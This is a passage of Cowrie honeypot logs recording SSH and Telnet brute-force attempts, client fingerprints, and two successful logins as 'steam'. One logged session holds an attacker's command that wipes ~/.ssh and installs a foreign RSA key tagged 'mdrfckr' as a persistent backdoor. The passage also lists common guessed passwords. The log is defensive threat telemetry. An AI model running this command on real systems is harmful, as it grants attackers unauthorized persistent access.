ha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:21.332857Z","src_ip":"141.11.88.14","session":"11fb5aee0cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:22.916107Z","src_ip":"141.11.88.14","session":"11fb5aee0cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:24.023922Z","src_ip":"141.11.88.14","session":"11fb5aee0cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":44802,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ff0e084b841","protocol":"telnet","message":"New connection: 103.249.87.183:44802 (159.203.135.109:23) [session: 9ff0e084b841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:29.095363Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61266,"dst_ip":"10.17.0.5","dst_port":22,"session":"84a4a794057c","protocol":"ssh","message":"New connection: 141.11.88.14:61266 (10.17.0.5:22) [session: 84a4a794057c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:29.383951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:29.420699Z","src_ip":"141.11.88.14","session":"84a4a794057c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:29.467987Z","src_ip":"141.11.88.14","session":"84a4a794057c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:29.834955Z","src_ip":"141.11.88.14","session":"84a4a794057c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:30.996040Z","src_ip":"141.11.88.14","session":"84a4a794057c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61374,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e7495588696","protocol":"ssh","message":"New connection: 141.11.88.14:61374 (10.17.0.5:22) [session: 6e7495588696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:37.009961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:37.056426Z","src_ip":"141.11.88.14","session":"6e7495588696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:37.144969Z","src_ip":"141.11.88.14","session":"6e7495588696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest","message":"login attempt [ftptest/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:37.552612Z","src_ip":"141.11.88.14","session":"6e7495588696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:38.661913Z","src_ip":"141.11.88.14","session":"6e7495588696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":52906,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f883e7aeb51","protocol":"ssh","message":"New connection: 197.5.145.150:52906 (10.17.0.5:22) [session: 9f883e7aeb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:39.049101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:39.052881Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:39.174342Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam.","message":"login attempt [steam/steam.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:39.668007Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:39.950652Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:39.954014Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:39.958061Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:40.079906Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:40.354179Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:40.357590Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:40.479299Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:40.485330Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":52916,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d9c03c9ba43","protocol":"ssh","message":"New connection: 197.5.145.150:52916 (10.17.0.5:22) [session: 1d9c03c9ba43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:40.589486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:40.594101Z","src_ip":"197.5.145.150","session":"1d9c03c9ba43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:40.711077Z","src_ip":"197.5.145.150","session":"1d9c03c9ba43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:41.220388Z","src_ip":"197.5.145.150","session":"1d9c03c9ba43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:42.340936Z","src_ip":"197.5.145.150","session":"1d9c03c9ba43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":52918,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d8f6af32975","protocol":"ssh","message":"New connection: 197.5.145.150:52918 (10.17.0.5:22) [session: 5d8f6af32975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:42.447184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:42.452790Z","src_ip":"197.5.145.150","session":"5d8f6af32975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:42.567223Z","src_ip":"197.5.145.150","session":"5d8f6af32975","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:43.048604Z","src_ip":"197.5.145.150","session":"5d8f6af32975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:43.167767Z","src_ip":"197.5.145.150","session":"5d8f6af32975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:43.173483Z","src_ip":"197.5.145.150","session":"9f883e7aeb51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.16028594970703,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:44.317575Z","src_ip":"94.23.66.112","session":"c9fd2e23d646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47356,"dst_ip":"10.17.0.5","dst_port":22,"session":"38c851614d17","protocol":"ssh","message":"New connection: 141.11.88.14:47356 (10.17.0.5:22) [session: 38c851614d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:45.007798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:45.115240Z","src_ip":"141.11.88.14","session":"38c851614d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:45.120777Z","src_ip":"141.11.88.14","session":"38c851614d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kim","password":"kim123","message":"login attempt [kim/kim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:45.939524Z","src_ip":"141.11.88.14","session":"38c851614d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:47.055734Z","src_ip":"141.11.88.14","session":"38c851614d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":40356,"dst_ip":"10.17.0.5","dst_port":22,"session":"a10e719fa3be","protocol":"ssh","message":"New connection: 41.86.34.139:40356 (10.17.0.5:22) [session: a10e719fa3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:51.138078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:51.142196Z","src_ip":"41.86.34.139","session":"a10e719fa3be","protocol":"ssh"}
